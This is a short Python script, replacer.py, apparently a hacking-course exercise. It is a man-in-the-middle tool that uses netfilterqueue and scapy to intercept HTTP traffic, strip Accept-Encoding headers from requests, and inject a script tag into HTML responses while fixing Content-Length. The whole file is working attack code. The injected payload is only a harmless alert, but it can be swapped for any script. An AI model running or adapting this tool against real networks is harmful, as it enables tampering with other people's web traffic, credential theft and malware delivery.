replacer.py

#!/usr/bin/env python

import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet,load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load
        if scapy_packet[scapy.TCP].dport == 80:
            print "[+] Request"
            load = re.sub("Accept-Encoding:.*?\\r\\n","",load)
        elif scapy_packet[scapy.TCP].sport == 80:
            print "[+] Response"
            injection_code = "<script>alert('INJECTED')</script>"
            load = load.replace("</body>",injection_code + "</body>")    

            content_length_search = re.search("(?:Content-Length:\s)(\d*)",load)
            if content_length_search and "text/html" in load:
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, str(new_content_length))

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet,load)
            packet.set_payload(str(new_packet))
    
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()